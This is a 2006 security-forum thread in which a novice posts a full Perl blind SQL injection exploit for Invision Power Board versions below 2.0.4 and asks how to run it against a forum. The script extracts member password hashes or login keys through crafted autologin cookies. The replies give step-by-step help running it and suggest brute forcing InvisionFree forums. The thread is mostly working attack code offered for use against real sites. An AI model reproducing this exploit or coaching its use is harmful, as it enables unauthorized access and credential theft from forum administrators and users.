 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 87
 Members: 0
 Total: 87
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
How to use this exploit ? |
|
 Posted: Wed Dec 06, 2006 7:39 pm |
 |
|
| Waraxe_fan |
| Regular user |
 |
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
 |
|
 |
|
Can anyone plz help me to run this exploit.
I read, we've to use PERL shell to execute it, so i downloaded it but it closes instantly after i open it in my WinXP.
Also tell me where to put, the Server name, let it be http://www.xxxx.com/xxx/
Member id = 1
I've to use it for IPB v1.3 final.
If i broke any rules, then sorry for that.
Here's the exploit
| Code: | Exploit:
#!/usr/bin/perl
## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 4) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];
$pass = ($target)?('member_login_key'):('password');
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";
($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr(42);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75" . "%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0" . "%E0%F1%21%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path, $server, $cmember_id, $pass_hash1, $cmember_id, $pass_hash2, $pass_hash3, $nmalykh);
while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]
[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute
targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)
e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
|
|
|
|
|
|
|
|
|
|
| Posted: Thu Dec 07, 2006 5:37 am |
|
|
| Chb |
| Valuable expert |
 |
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
|
|
|
|
Waaaah...
Did you read it? Did you? No. Quote '## r57ipb2.pl blah.com /ipb13/ 1 0'
This the usage...
Whatever. Run it in the *console*! |
|
|
|
|
| Posted: Thu Dec 07, 2006 8:09 am |
|
|
| Waraxe_fan |
| Regular user |
|
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
|
|
|
|
| Chb wrote: | Waaaah...
Did you read it? Did you? No. Quote '## r57ipb2.pl blah.com /ipb13/ 1 0'
This the usage...
Whatever. Run it in the *console*! |
Run it where ? Which Console ?
Can u plz edit that exploit. I dont know what to include & what to exclude.
Pleeezzz |
|
|
|
|
| Posted: Thu Dec 07, 2006 7:31 pm |
|
|
| Sm0ke |
| Moderator |
 |
|
| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
|
|
|
|
|
|
Start > run > cmd
C:\perl/bin>perl exploit.pl |
|
|
|
|
| Posted: Fri Dec 08, 2006 6:54 am |
|
|
| Waraxe_fan |
| Regular user |
|
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
|
|
|
|
| player123 wrote: | Start > run > cmd
C:\perl/bin>perl exploit.pl |
Thank u so much 
Would try it out now. Thanks again. |
|
|
|
|
| Posted: Fri Dec 08, 2006 8:26 am |
|
|
| Waraxe_fan |
| Regular user |
|
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Fri Dec 08, 2006 4:10 pm |
|
|
| Sm0ke |
| Moderator |
|
|
| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
|
|
|
|
|
|
|
|
|
|
| Posted: Fri Dec 08, 2006 5:07 pm |
|
|
| Waraxe_fan |
| Regular user |
|
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
|
|
|
|
Wat would work then ?  |
|
|
|
|
| Posted: Fri Dec 08, 2006 6:38 pm |
|
|
| Sm0ke |
| Moderator |
|
|
| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
|
|
|
|
|
|
| looked around.. but here is no public exploit for invisionfree forums so..you have to make one or try some brute force program.... |
|
|
|
|
| Posted: Sat Dec 09, 2006 1:00 pm |
|
|
| Waraxe_fan |
| Regular user |
|
|
| Joined: Dec 03, 2006 |
| Posts: 9 |
|
|
|
|
|
|
|
| player123 wrote: | | looked around.. but here is no public exploit for invisionfree forums so..you have to make one or try some brute force program.... |
I wish i knew how to make one. I'm a n00b in SQL.
Thanks for your support. Much appreciated . You rock |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
